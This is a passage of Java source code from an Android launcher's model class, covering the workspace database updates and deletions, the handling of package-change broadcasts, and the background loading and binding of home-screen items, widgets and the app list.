ContentValues(); final ContentResolver cr = context.getContentResolver(); item.onAddToDatabase(values); item.updateValuesWithCoordinates(values, item.cellX, item.cellY); Runnable r = new Runnable() { public void run() { cr.update(LauncherSettings.Favorites.getContentUri(item.id, false), values, null, null); final ItemInfo modelItem = sItemsIdMap.get(item.id); if (item != modelItem) { // the modelItem needs to match up perfectly with item if our model is to be // consistent with the database-- for now, just require modelItem == item String msg = "item: " + ((item != null) ? item.toString() : "null") + " modelItem: " + ((modelItem != null) ? modelItem.toString() : "null") + " creation tag of item: " + ((item != null) ? item.whereCreated : "null") + " creation tag of modelItem: " + ((modelItem != null) ? modelItem.whereCreated : "null") + " Error: ItemInfo passed to updateItemInDatabase doesn't match original"; throw new RuntimeException(msg); } } }; if (sWorkerThread.getThreadId() == Process.myTid()) { r.run(); } else { sWorker.post(r); } } /** * Removes the specified item from the database * @param context * @param item */ static void deleteItemFromDatabase(Context context, final ItemInfo item) { final ContentResolver cr = context.getContentResolver(); final Uri uriToDelete = LauncherSettings.Favorites.getContentUri(item.id, false); sWorker.post(new Runnable() { public void run() { cr.delete(uriToDelete, null, null); switch (item.itemType) { case LauncherSettings.Favorites.ITEM_TYPE_FOLDER: sFolders.remove(item.id); sWorkspaceItems.remove(item); break; case LauncherSettings.Favorites.ITEM_TYPE_APPLICATION: case LauncherSettings.Favorites.ITEM_TYPE_SHORTCUT: sWorkspaceItems.remove(item); break; case LauncherSettings.Favorites.ITEM_TYPE_APPWIDGET: sAppWidgets.remove((LauncherAppWidgetInfo) item); break; } sItemsIdMap.remove(item.id); sDbIconCache.remove(item); } }); } /** * Remove the contents of the specified folder from the database */ static void deleteFolderContentsFromDatabase(Context context, final FolderInfo info) { final ContentResolver cr = context.getContentResolver(); sWorker.post(new Runnable() { public void run() { cr.delete(LauncherSettings.Favorites.getContentUri(info.id, false), null, null); sItemsIdMap.remove(info.id); sFolders.remove(info.id); sDbIconCache.remove(info); sWorkspaceItems.remove(info); cr.delete(LauncherSettings.Favorites.CONTENT_URI_NO_NOTIFICATION, LauncherSettings.Favorites.CONTAINER + "=" + info.id, null); for (ItemInfo childInfo : info.contents) { sItemsIdMap.remove(childInfo.id); sDbIconCache.remove(childInfo); } } }); } /** * Set this as the current Launcher activity object for the loader. */ public void initialize(Callbacks callbacks) { synchronized (mLock) { mCallbacks = new WeakReference<Callbacks>(callbacks); } } /** * Call from the handler for ACTION_PACKAGE_ADDED, ACTION_PACKAGE_REMOVED and * ACTION_PACKAGE_CHANGED. */ @Override public void onReceive(Context context, Intent intent) { if (DEBUG_LOADERS) Log.d(TAG, "onReceive intent=" + intent); final String action = intent.getAction(); if (Intent.ACTION_PACKAGE_CHANGED.equals(action) || Intent.ACTION_PACKAGE_REMOVED.equals(action) || Intent.ACTION_PACKAGE_ADDED.equals(action)) { final String packageName = intent.getData().getSchemeSpecificPart(); final boolean replacing = intent.getBooleanExtra(Intent.EXTRA_REPLACING, false); int op = PackageUpdatedTask.OP_NONE; if (packageName == null || packageName.length() == 0) { // they sent us a bad intent return; } if (Intent.ACTION_PACKAGE_CHANGED.equals(action)) { op = PackageUpdatedTask.OP_UPDATE; } else if (Intent.ACTION_PACKAGE_REMOVED.equals(action)) { if (!replacing) { op = PackageUpdatedTask.OP_REMOVE; } // else, we are replacing the package, so a PACKAGE_ADDED will be sent // later, we will update the package at this time } else if (Intent.ACTION_PACKAGE_ADDED.equals(action)) { if (!replacing) { op = PackageUpdatedTask.OP_ADD; } else { op = PackageUpdatedTask.OP_UPDATE; } } if (op != PackageUpdatedTask.OP_NONE) { enqueuePackageUpdated(new PackageUpdatedTask(op, new String[] { packageName })); } } else if (Intent.ACTION_EXTERNAL_APPLICATIONS_AVAILABLE.equals(action)) { // First, schedule to add these apps back in. String[] packages = intent.getStringArrayExtra(Intent.EXTRA_CHANGED_PACKAGE_LIST); enqueuePackageUpdated(new PackageUpdatedTask(PackageUpdatedTask.OP_ADD, packages)); // Then, rebind everything. startLoaderFromBackground(); } else if (Intent.ACTION_EXTERNAL_APPLICATIONS_UNAVAILABLE.equals(action)) { String[] packages = intent.getStringArrayExtra(Intent.EXTRA_CHANGED_PACKAGE_LIST); enqueuePackageUpdated(new PackageUpdatedTask( PackageUpdatedTask.OP_UNAVAILABLE, packages)); } else if (Intent.ACTION_LOCALE_CHANGED.equals(action)) { // If we have changed locale we need to clear out the labels in all apps. // Do this here because if the launcher activity is running it will be restarted. // If it's not running startLoaderFromBackground will merely tell it that it needs // to reload. Either way, mAllAppsLoaded will be cleared so it re-reads everything // next time. mAllAppsLoaded = false; mWorkspaceLoaded = false; startLoaderFromBackground(); } else if (SearchManager.INTENT_GLOBAL_SEARCH_ACTIVITY_CHANGED.equals(action) || SearchManager.INTENT_ACTION_SEARCHABLES_CHANGED.equals(action)) { if (mCallbacks != null) { Callbacks callbacks = mCallbacks.get(); if (callbacks != null) { callbacks.bindSearchablesChanged(); } } } } /** * When the launcher is in the background, it's possible for it to miss paired * configuration changes. So whenever we trigger the loader from the background * tell the launcher that it needs to re-run the loader when it comes back instead * of doing it now. */ public void startLoaderFromBackground() { boolean runLoader = false; if (mCallbacks != null) { Callbacks callbacks = mCallbacks.get(); if (callbacks != null) { // Only actually run the loader if they're not paused. if (!callbacks.setLoadOnResume()) { runLoader = true; } } } if (runLoader) { startLoader(mApp, false); } } public void startLoader(Context context, boolean isLaunching) { synchronized (mLock) { if (DEBUG_LOADERS) { Log.d(TAG, "startLoader isLaunching=" + isLaunching); } // Don't bother to start the thread if we know it's not going to do anything if (mCallbacks != null && mCallbacks.get() != null) { // If there is already one running, tell it to stop. LoaderTask oldTask = mLoaderTask; if (oldTask != null) { if (oldTask.isLaunching()) { // don't downgrade isLaunching if we're already running isLaunching = true; } oldTask.stopLocked(); } mLoaderTask = new LoaderTask(context, isLaunching); sWorker.post(mLoaderTask); } } } public void stopLoader() { synchronized (mLock) { if (mLoaderTask != null) { mLoaderTask.stopLocked(); } } } public boolean isAllAppsLoaded() { return mAllAppsLoaded; } /** * Runnable for the thread that loads the contents of the launcher: * - workspace icons * - widgets * - all apps icons */ private class LoaderTask implements Runnable { private Context mContext; private Thread mWaitThread; private boolean mIsLaunching; private boolean mStopped; private boolean mLoadAndBindStepFinished; private HashMap<Object, CharSequence> mLabelCache; LoaderTask(Context context, boolean isLaunching) { mContext = context; mIsLaunching = isLaunching; mLabelCache = new HashMap<Object, CharSequence>(); } boolean isLaunching() { return mIsLaunching; } private void loadAndBindWorkspace() { // Load the workspace if (DEBUG_LOADERS) { Log.d(TAG, "loadAndBindWorkspace mWorkspaceLoaded=" + mWorkspaceLoaded); } if (!mWorkspaceLoaded) { loadWorkspace(); if (mStopped) { return; } mWorkspaceLoaded = true; } // Bind the workspace bindWorkspace(); } private void waitForIdle() { // Wait until the either we're stopped or the other threads are done. // This way we don't start loading all apps until the workspace has settled // down. synchronized (LoaderTask.this) { final long workspaceWaitTime = DEBUG_LOADERS ? SystemClock.uptimeMillis() : 0; mHandler.postIdle(new Runnable() { public void run() { synchronized (LoaderTask.this) { mLoadAndBindStepFinished = true; if (DEBUG_LOADERS) { Log.d(TAG, "done with previous binding step"); } LoaderTask.this.notify(); } } }); while (!mStopped && !mLoadAndBindStepFinished) { try { this.wait(); } catch (InterruptedException ex) { // Ignore } } if (DEBUG_LOADERS) { Log.d(TAG, "waited " + (SystemClock.uptimeMillis()-workspaceWaitTime) + "ms for previous step to finish binding"); } } } public void run() { // Optimize for end-user experience: if the Launcher is up and // running with the // All Apps interface in the foreground, load All Apps first. Otherwise, load the // workspace first (default). final Callbacks cbk = mCallbacks.get(); final boolean loadWorkspaceFirst = cbk != null ? (!cbk.isAllAppsVisible()) : true; keep_running: { // Elevate priority when Home launches for the first time to avoid // starving at boot time. Staring at a blank home is not cool. synchronized (mLock) { if (DEBUG_LOADERS) Log.d(TAG, "Setting thread priority to " + (mIsLaunching ? "DEFAULT" : "BACKGROUND")); android.os.Process.setThreadPriority(mIsLaunching ? Process.THREAD_PRIORITY_DEFAULT : Process.THREAD_PRIORITY_BACKGROUND); } if (loadWorkspaceFirst) { if (DEBUG_LOADERS) Log.d(TAG, "step 1: loading workspace"); loadAndBindWorkspace(); } else { if (DEBUG_LOADERS) Log.d(TAG, "step 1: special: loading all apps"); loadAndBindAllApps(); } if (mStopped) { break keep_running; } // Whew! Hard work done. Slow us down, and wait until the UI thread has // settled down. synchronized (mLock) { if (mIsLaunching) { if (DEBUG_LOADERS) Log.d(TAG, "Setting thread priority to BACKGROUND"); android.os.Process.setThreadPriority(Process.THREAD_PRIORITY_BACKGROUND); } } waitForIdle(); // second step if (loadWorkspaceFirst) { if (DEBUG_LOADERS) Log.d(TAG, "step 2: loading all apps"); loadAndBindAllApps(); } else { if (DEBUG_LOADERS) Log.d(TAG, "step 2: special: loading workspace"); loadAndBindWorkspace(); } } // Update the saved icons if necessary if (DEBUG_LOADERS) Log.d(TAG, "Comparing loaded icons to database icons"); for (Object key : sDbIconCache.keySet()) { updateSavedIcon(mContext, (ShortcutInfo) key, sDbIconCache.get(key)); } sDbIconCache.clear(); // Clear out this reference, otherwise we end up holding it until all of the // callback runnables are done. mContext = null; synchronized (mLock) { // If we are still the last one to be scheduled, remove ourselves. if (mLoaderTask == this) { mLoaderTask = null; } } } public void stopLocked() { synchronized (LoaderTask.this) { mStopped = true; this.notify(); } } /** * Gets the callbacks object. If we've been stopped, or if the launcher object * has somehow been garbage collected, return null instead. Pass in the Callbacks * object that was around when the deferred message was scheduled, and if there's * a new Callbacks object around then also return null. This will save us from * calling onto it with data that will be ignored. */ Callbacks tryGetCallbacks(Callbacks oldCallbacks) { synchronized (mLock) { if (mStopped) { return null; } if (mCallbacks == null) { return null; } final Callbacks callbacks = mCallbacks.get(); if (callbacks != oldCallbacks) { return null; } if (callbacks == null) { Log.w(TAG, "no mCallbacks"); return null; } return callbacks; } } // check & update map of what's occupied; used to discard overlapping/invalid items private boolean checkItemPlacement(ItemInfo occupied[][][], ItemInfo item) { int containerIndex = item.screen; if (item.container == LauncherSettings.Favorites.CONTAINER_HOTSEAT) { // Return early if we detect that an item is under the hotseat button if (Hotseat.isAllAppsButtonRank(item.screen)) { return false; } // We use the last index to refer to the hotseat and the screen as the rank, so // test and update the occupied state accordingly if (occupied[Launcher.SCREEN_COUNT][item.screen][0] != null) { Log.e(TAG, "Error loading shortcut into hotseat " + item + " into position (" + item.screen + ":" + item.cellX + "," + item.cellY + ") occupied by " + occupied[Launcher.SCREEN_COUNT][item.screen][0]); return false; } else { occupied[Launcher.SCREEN_COUNT][item.screen][0] = item; return true; } } else if (item.container != LauncherSettings.Favorites.CONTAINER_DESKTOP) { // Skip further checking if it is not the hotseat or workspace container return true; } // Check if any workspace icons overlap with each other for (int x = item.cellX; x < (item.cellX+item.spanX); x++) { for (int y = item.cellY; y < (item.cellY+item.spanY); y++) { if (occupied[containerIndex][x][y] != null) { Log.e(TAG, "Error loading shortcut " + item + " into cell (" + containerIndex + "-" + item.screen + ":" + x + "," + y + ") occupied by " + occupied[containerIndex][x][y]); return false; } } } for (int x = item.cellX; x < (item.cellX+item.spanX); x++) { for (int y = item.cellY; y < (item.cellY+item.spanY); y++) { occupied[containerIndex][x][y] = item; } } return true; } private void loadWorkspace() { final long t = DEBUG_LOADERS ? SystemClock.uptimeMillis() : 0; final Context context = mContext; final ContentResolver contentResolver = context.getContentResolver(); final PackageManager manager = context.getPackageManager(); final AppWidgetManager widgets = AppWidgetManager.getInstance(context); final boolean isSafeMode = manager.isSafeMode(); sWorkspaceItems.clear(); sAppWidgets.clear(); sFolders.clear(); sItemsIdMap.clear(); sDbIconCache.clear(); final ArrayList<Long> itemsToRemove = new ArrayList<Long>(); final Cursor c = contentResolver.query( LauncherSettings.Favorites.CONTENT_URI, null, null, null, null); // +1 for the hotseat (it can be larger than the workspace) final ItemInfo occupied[][][] = new ItemInfo[Launcher.SCREEN_COUNT + 1][mCellCountX + 1][mCellCountY + 1]; try { final int idIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites._ID); final int intentIndex = c.getColumnIndexOrThrow (LauncherSettings.Favorites.INTENT); final int titleIndex = c.getColumnIndexOrThrow (LauncherSettings.Favorites.TITLE); final int iconTypeIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.ICON_TYPE); final int iconIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.ICON); final int iconPackageIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.ICON_PACKAGE); final int iconResourceIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.ICON_RESOURCE); final int containerIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.CONTAINER); final int itemTypeIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.ITEM_TYPE); final int appWidgetIdIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.APPWIDGET_ID); final int screenIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.SCREEN); final int cellXIndex = c.getColumnIndexOrThrow (LauncherSettings.Favorites.CELLX); final int cellYIndex = c.getColumnIndexOrThrow (LauncherSettings.Favorites.CELLY); final int spanXIndex = c.getColumnIndexOrThrow (LauncherSettings.Favorites.SPANX); final int spanYIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.SPANY); final int uriIndex = c.getColumnIndexOrThrow(LauncherSettings.Favorites.URI); final int displayModeIndex = c.getColumnIndexOrThrow( LauncherSettings.Favorites.DISPLAY_MODE); ShortcutInfo info; String intentDescription; LauncherAppWidgetInfo appWidgetInfo; int container; long id; Intent intent; while (!mStopped && c.moveToNext()) { try { int itemType = c.getInt(itemTypeIndex); switch (itemType) { case LauncherSettings.Favorites.ITEM_TYPE_APPLICATION: case LauncherSettings.Favorites.ITEM_TYPE_SHORTCUT: intentDescription = c.getString(intentIndex); try { intent = Intent.parseUri(intentDescription, 0); } catch (URISyntaxException e) { continue; } if (itemType == LauncherSettings.Favorites.ITEM_TYPE_APPLICATION) { info = getShortcutInfo(manager, intent, context, c, iconIndex, titleIndex, mLabelCache); } else { info = getShortcutInfo(c, context, iconTypeIndex, iconPackageIndex, iconResourceIndex, iconIndex, titleIndex); } if (info != null) { info.intent = intent; info.id = c.getLong(idIndex); container = c.getInt(containerIndex); info.container = container; info.screen = c.getInt(screenIndex); info.cellX = c.getInt(cellXIndex); info.cellY = c.getInt(cellYIndex); // check & update map of what's occupied if (!checkItemPlacement(occupied, info)) { break; } switch (container) { case LauncherSettings.Favorites.CONTAINER_DESKTOP: case LauncherSettings.Favorites.CONTAINER_HOTSEAT: sWorkspaceItems.add(info); break; default: // Item is in a user folder FolderInfo folderInfo = findOrMakeFolder(sFolders, container); folderInfo.add(info); break; } sItemsIdMap.put(info.id, info); // now that we've loaded everthing re-save it with the // icon in case it disappears somehow. queueIconToBeChecked(sDbIconCache, info, c, iconIndex); } else { // Failed to load the shortcut, probably because the // activity manager couldn't resolve it (maybe the app // was uninstalled), or the db row was somehow screwed up. // Delete it. id = c.getLong(idIndex); Log.e(TAG, "Error loading shortcut " + id + ", removing it"); contentResolver.delete(LauncherSettings.Favorites.getContentUri( id, false), null, null); } break; case LauncherSettings.Favorites.ITEM_TYPE_FOLDER: id = c.getLong(idIndex); FolderInfo folderInfo = findOrMakeFolder(sFolders, id); folderInfo.title = c.getString(titleIndex); folderInfo.id = id; container = c.getInt(containerIndex); folderInfo.container = container; folderInfo.screen = c.getInt(screenIndex); folderInfo.cellX = c.getInt(cellXIndex); folderInfo.cellY = c.getInt(cellYIndex); // check & update map of what's occupied if (!checkItemPlacement(occupied, folderInfo)) { break; } switch (container) { case LauncherSettings.Favorites.CONTAINER_DESKTOP: case LauncherSettings.Favorites.CONTAINER_HOTSEAT: sWorkspaceItems.add(folderInfo); break; } sItemsIdMap.put(folderInfo.id, folderInfo); sFolders.put(folderInfo.id, folderInfo); break; case LauncherSettings.Favorites.ITEM_TYPE_APPWIDGET: // Read all Launcher-specific widget details int appWidgetId = c.getInt(appWidgetIdIndex); id = c.getLong(idIndex); final AppWidgetProviderInfo provider = widgets.getAppWidgetInfo(appWidgetId); if (!isSafeMode && (provider == null || provider.provider == null || provider.provider.getPackageName() == null)) { Log.e(TAG, "Deleting widget that isn't installed anymore: id=" + id + " appWidgetId=" + appWidgetId); itemsToRemove.add(id); } else { appWidgetInfo = new LauncherAppWidgetInfo(appWidgetId, "5"); appWidgetInfo.id = id; appWidgetInfo.screen = c.getInt(screenIndex); appWidgetInfo.cellX = c.getInt(cellXIndex); appWidgetInfo.cellY = c.getInt(cellYIndex); appWidgetInfo.spanX = c.getInt(spanXIndex); appWidgetInfo.spanY = c.getInt(spanYIndex); container = c.getInt(containerIndex); if (container != LauncherSettings.Favorites.CONTAINER_DESKTOP && container != LauncherSettings.Favorites.CONTAINER_HOTSEAT) { Log.e(TAG, "Widget found where container " + "!= CONTAINER_DESKTOP nor CONTAINER_HOTSEAT - ignoring!"); continue; } appWidgetInfo.container = c.getInt(containerIndex); // check & update map of what's occupied if (!checkItemPlacement(occupied, appWidgetInfo)) { break; } sItemsIdMap.put(appWidgetInfo.id, appWidgetInfo); sAppWidgets.add(appWidgetInfo); } break; } } catch (Exception e) { Log.w(TAG, "Desktop items loading interrupted:", e); } } } finally { c.close(); } if (itemsToRemove.size() > 0) { ContentProviderClient client = contentResolver.acquireContentProviderClient( LauncherSettings.Favorites.CONTENT_URI); // Remove dead items for (long id : itemsToRemove) { if (DEBUG_LOADERS) { Log.d(TAG, "Removed id = " + id); } // Don't notify content observers try { client.delete(LauncherSettings.Favorites.getContentUri(id, false), null, null); } catch (RemoteException e) { Log.w(TAG, "Could not remove id = " + id); } } } if (DEBUG_LOADERS) { Log.d(TAG, "loaded workspace in " + (SystemClock.uptimeMillis()-t) + "ms"); Log.d(TAG, "workspace layout: "); for (int y = 0; y < mCellCountY; y++) { String line = ""; for (int s = 0; s < Launcher.SCREEN_COUNT; s++) { if (s > 0) { line += " | "; } for (int x = 0; x < mCellCountX; x++) { line += ((occupied[s][x][y] != null) ? "#" : "."); } } Log.d(TAG, "[ " + line + " ]"); } } } /** * Read everything out of our database. */ private void bindWorkspace() { final long t = SystemClock.uptimeMillis(); // Don't use these two variables in any of the callback runnables. // Otherwise we hold a reference to them. final Callbacks oldCallbacks = mCallbacks.get(); if (oldCallbacks == null) { // This launcher has exited and nobody bothered to tell us. Just bail. Log.w(TAG, "LoaderTask running with no launcher"); return; } int N; // Tell the workspace that we're about to start firing items at it mHandler.post(new Runnable() { public void run() { Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.startBinding(); } } }); // Unbind previously bound workspace items to prevent a leak of AppWidgetHostViews. final ArrayList<ItemInfo> workspaceItems = unbindWorkspaceItemsOnMainThread(); // Add the items to the workspace. N = workspaceItems.size(); for (int i=0; i<N; i+=ITEMS_CHUNK) { final int start = i; final int chunkSize = (i+ITEMS_CHUNK <= N) ? ITEMS_CHUNK : (N-i); mHandler.post(new Runnable() { public void run() { Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.bindItems(workspaceItems, start, start+chunkSize); } } }); } // Ensure that we don't use the same folders data structure on the main thread final HashMap<Long, FolderInfo> folders = new HashMap<Long, FolderInfo>(sFolders); mHandler.post(new Runnable() { public void run() { Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.bindFolders(folders); } } }); // Wait until the queue goes empty. mHandler.post(new Runnable() { public void run() { if (DEBUG_LOADERS) { Log.d(TAG, "Going to start binding widgets soon."); } } }); // Bind the widgets, one at a time. // WARNING: this is calling into the workspace from the background thread, // but since getCurrentScreen() just returns the int, we should be okay. This // is just a hint for the order, and if it's wrong, we'll be okay. // TODO: instead, we should have that push the current screen into here. final int currentScreen = oldCallbacks.getCurrentWorkspaceScreen(); N = sAppWidgets.size(); // once for the current screen for (int i=0; i<N; i++) { final LauncherAppWidgetInfo widget = sAppWidgets.get(i); if (widget.screen == currentScreen) { mHandler.post(new Runnable() { public void run() { Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.bindAppWidget(widget); } } }); } } // once for the other screens for (int i=0; i<N; i++) { final LauncherAppWidgetInfo widget = sAppWidgets.get(i); if (widget.screen != currentScreen) { mHandler.post(new Runnable() { public void run() { Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.bindAppWidget(widget); } } }); } } // Tell the workspace that we're done. mHandler.post(new Runnable() { public void run() { Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.finishBindingItems(); } } }); // If we're profiling, this is the last thing in the queue. mHandler.post(new Runnable() { public void run() { if (DEBUG_LOADERS) { Log.d(TAG, "bound workspace in " + (SystemClock.uptimeMillis()-t) + "ms"); } } }); } private void loadAndBindAllApps() { if (DEBUG_LOADERS) { Log.d(TAG, "loadAndBindAllApps mAllAppsLoaded=" + mAllAppsLoaded); } if (!mAllAppsLoaded) { loadAllAppsByBatch(); if (mStopped) { return; } mAllAppsLoaded = true; } else { onlyBindAllApps(); } } private void onlyBindAllApps() { final Callbacks oldCallbacks = mCallbacks.get(); if (oldCallbacks == null) { // This launcher has exited and nobody bothered to tell us. Just bail. Log.w(TAG, "LoaderTask running with no launcher (onlyBindAllApps)"); return; } // shallow copy final ArrayList<ApplicationInfo> list = (ArrayList<ApplicationInfo>)mAllAppsList.data.clone(); mHandler.post(new Runnable() { public void run() { final long t = SystemClock.uptimeMillis(); final Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.bindAllApplications(list); } if (DEBUG_LOADERS) { Log.d(TAG, "bound all " + list.size() + " apps from cache in " + (SystemClock.uptimeMillis()-t) + "ms"); } } }); } private void loadAllAppsByBatch() { final long t = DEBUG_LOADERS ? SystemClock.uptimeMillis() : 0; // Don't use these two variables in any of the callback runnables. // Otherwise we hold a reference to them. final Callbacks oldCallbacks = mCallbacks.get(); if (oldCallbacks == null) { // This launcher has exited and nobody bothered to tell us. Just bail. Log.w(TAG, "LoaderTask running with no launcher (loadAllAppsByBatch)"); return; } final Intent mainIntent = new Intent(Intent.ACTION_MAIN, null); mainIntent.addCategory(Intent.CATEGORY_LAUNCHER); final PackageManager packageManager = mContext.getPackageManager(); List<ResolveInfo> apps = null; int N = Integer.MAX_VALUE; int startIndex; int i=0; int batchSize = -1; while (i < N && !mStopped) { if (i == 0) { mAllAppsList.clear(); final long qiaTime = DEBUG_LOADERS ? SystemClock.uptimeMillis() : 0; apps = packageManager.queryIntentActivities(mainIntent, 0); if (DEBUG_LOADERS) { Log.d(TAG, "queryIntentActivities took " + (SystemClock.uptimeMillis()-qiaTime) + "ms"); } if (apps == null) { return; } N = apps.size(); if (DEBUG_LOADERS) { Log.d(TAG, "queryIntentActivities got " + N + " apps"); } if (N == 0) { // There are no apps?!? return; } if (mBatchSize == 0) { batchSize = N; } else { batchSize = mBatchSize; } final long sortTime = DEBUG_LOADERS ? SystemClock.uptimeMillis() : 0; Collections.sort(apps, new LauncherModel.ShortcutNameComparator(packageManager, mLabelCache)); if (DEBUG_LOADERS) { Log.d(TAG, "sort took " + (SystemClock.uptimeMillis()-sortTime) + "ms"); } } final long t2 = DEBUG_LOADERS ? SystemClock.uptimeMillis() : 0; startIndex = i; for (int j=0; i<N && j<batchSize; j++) { // This builds the icon bitmaps. mAllAppsList.add(new ApplicationInfo(packageManager, apps.get(i), mIconCache, mLabelCache, "6")); i++; } final boolean first = i <= batchSize; final Callbacks callbacks = tryGetCallbacks(oldCallbacks); final ArrayList<ApplicationInfo> added = mAllAppsList.added; mAllAppsList.added = new ArrayList<ApplicationInfo>(); mHandler.post(new Runnable() { public void run() { final long t = SystemClock.uptimeMillis(); if (callbacks != null) { if (first) { callbacks.bindAllApplications(added); } else { callbacks.bindAppsAdded(added); } if (DEBUG_LOADERS) { Log.d(TAG, "bound " + added.size() + " apps in " + (SystemClock.uptimeMillis() - t) + "ms"); } } else { Log.i(TAG, "not binding apps: no Launcher activity"); } } }); if (DEBUG_LOADERS) { Log.d(TAG, "batch of " + (i-startIndex) + " icons processed in " + (SystemClock.uptimeMillis()-t2) + "ms"); } if (mAllAppsLoadDelay > 0 && i < N) { try { if (DEBUG_LOADERS) { Log.d(TAG, "sleeping for " + mAllAppsLoadDelay + "ms"); } Thread.sleep(mAllAppsLoadDelay); } catch (InterruptedException exc) { } } } if (DEBUG_LOADERS) { Log.d(TAG, "cached all " + N + " apps in " + (SystemClock.uptimeMillis()-t) + "ms" + (mAllAppsLoadDelay > 0 ? " (including delay)" : "")); } } public void dumpState() { Log.d(TAG, "mLoaderTask.mContext=" + mContext); Log.d(TAG, "mLoaderTask.mWaitThread=" + mWaitThread); Log.d(TAG, "mLoaderTask.mIsLaunching=" + mIsLaunching); Log.d(TAG, "mLoaderTask.mStopped=" + mStopped); Log.d(TAG, "mLoaderTask.mLoadAndBindStepFinished=" + mLoadAndBindStepFinished); Log.d(TAG, "mItems size=" + sWorkspaceItems.size()); } } void enqueuePackageUpdated(PackageUpdatedTask task) { sWorker.post(task); } private class PackageUpdatedTask implements Runnable { int mOp; String[] mPackages; public static final int OP_NONE = 0; public static final int OP_ADD = 1; public static final int OP_UPDATE = 2; public static final int OP_REMOVE = 3; // uninstlled public static final int OP_UNAVAILABLE = 4; // external media unmounted public PackageUpdatedTask(int op, String[] packages) { mOp = op; mPackages = packages; } public void run() { final Context context = mApp; final String[] packages = mPackages; final int N = packages.length; switch (mOp) { case OP_ADD: for (int i=0; i<N; i++) { if (DEBUG_LOADERS) Log.d(TAG, "mAllAppsList.addPackage " + packages[i]); mAllAppsList.addPackage(context, packages[i]); } break; case OP_UPDATE: for (int i=0; i<N; i++) { if (DEBUG_LOADERS) Log.d(TAG, "mAllAppsList.updatePackage " + packages[i]); mAllAppsList.updatePackage(context, packages[i]); } break; case OP_REMOVE: case OP_UNAVAILABLE: for (int i=0; i<N; i++) { if (DEBUG_LOADERS) Log.d(TAG, "mAllAppsList.removePackage " + packages[i]); mAllAppsList.removePackage(packages[i]); } break; } ArrayList<ApplicationInfo> added = null; ArrayList<ApplicationInfo> removed = null; ArrayList<ApplicationInfo> modified = null; if (mAllAppsList.added.size() > 0) { added = mAllAppsList.added; mAllAppsList.added = new ArrayList<ApplicationInfo>(); } if (mAllAppsList.removed.size() > 0) { removed = mAllAppsList.removed; mAllAppsList.removed = new ArrayList<ApplicationInfo>(); for (ApplicationInfo info: removed) { mIconCache.remove(info.intent.getComponent()); } } if (mAllAppsList.modified.size() > 0) { modified = mAllAppsList.modified; mAllAppsList.modified = new ArrayList<ApplicationInfo>(); } final Callbacks callbacks = mCallbacks != null ? mCallbacks.get() : null; if (callbacks == null) { Log.w(TAG, "Nobody to tell about the new app. Launcher is probably loading."); return; } if (added != null) { final ArrayList<ApplicationInfo> addedFinal = added; mHandler.post(new Runnable() { public void run() { Callbacks cb = mCallbacks != null ? mCallbacks.get() : null; if (callbacks == cb && cb != null) { callbacks.bindAppsAdded(addedFinal); } } }); } if (modified != null) { final ArrayList<ApplicationInfo> modifiedFinal = modified; mHandler.post(new Runnable() { public void run() { Callbacks cb = mCallbacks != null ? mCallbacks.get() : null; if (callbacks == cb && cb != null) { callbacks.bindAppsUpdated(modifiedFinal); } } }); } if (removed != null) { final boolean permanent = mOp != OP_UNAVAILABLE; final ArrayList<ApplicationInfo> removedFinal = removed; mHandler.post(new Runnable() { public void run() { Callbacks cb = mCallbacks != null ? mCallbacks.get() : null; if (callbacks == cb && cb != null) { callbacks.bindAppsRemoved(removedFinal, permanent); } } }); } mHandler.post(new Runnable() { @Override public void run() { Callbacks cb = mCallbacks != null ? mCallbacks.get() : null; if (callbacks == cb && cb != null) { callbacks.bindPackagesUpdated(); } } }); } } /** * This is called from the code that adds shortcuts from the intent receiver. This * doesn't have a Cursor, but */ public ShortcutInfo getShortcutInfo(PackageManager manager, Intent intent, Context context) { return getShortcutInfo(manager, intent, context, null, -1, -1, null); } /** * Make an ShortcutInfo object for a shortcut that is an application. * * If c is not null, then it will be used to fill in missing data like the title and icon. */ public ShortcutInfo getShortcutInfo(PackageManager manager, Intent intent, Context context, Cursor c, int iconIndex, int titleIndex, HashMap<Object, CharSequence> labelCache) { Bitmap icon = null; final ShortcutInfo info = new ShortcutInfo("7"); ComponentName componentName = intent.getComponent(); if (componentName == null) { return null; } // TODO: See if the PackageManager knows about this case. If it doesn't // then return null & delete this. // the resource -- This may implicitly give us back the fallback icon, // but don't worry about that. All we're doing with usingFallbackIcon is // to avoid saving lots of copies of that in the database, and most apps // have icons anyway. final ResolveInfo resolveInfo = manager.resolveActivity(intent, 0); if (resolveInfo != null) { icon = mIconCache.getIcon(componentName, resolveInfo, labelCache); } // the db if (icon == null) { if (c != null) { icon = getIconFromCursor(c, iconIndex, context); } } // the fallback icon if (icon == null) { icon = getFallbackIcon(); info.usingFallbackIcon = true; } info.setIcon(icon); // from the resource if (resolveInfo != null) { ComponentName key = LauncherModel.getComponentNameFromResolveInfo(resolveInfo); if (labelCache != null && labelCache.containsKey(key)) { info.title = labelCache.get(key); } else { info.title = resolveInfo.activityInfo.loadLabel(manager); if (labelCache != null) { labelCache.put(key, info.title); } } } // from the db if (info.title == null) { if (c != null) { info.title = c.getString(titleIndex); } } // fall back to the class name of the activity if (info.title == null) { info.title = componentName.getClassName(); } info.itemType = LauncherSettings.Favorites.ITEM_TYPE_APPLICATION; return info; } /** * Make an ShortcutInfo object for a shortcut that isn't an application. */ private ShortcutInfo getShortcutInfo(Cursor c, Context context, int iconTypeIndex, int iconPackageIndex, int iconResourceIndex, int iconIndex, int titleIndex) { Bitmap icon = null; final ShortcutInfo info = new ShortcutInfo("8"); info.itemType = 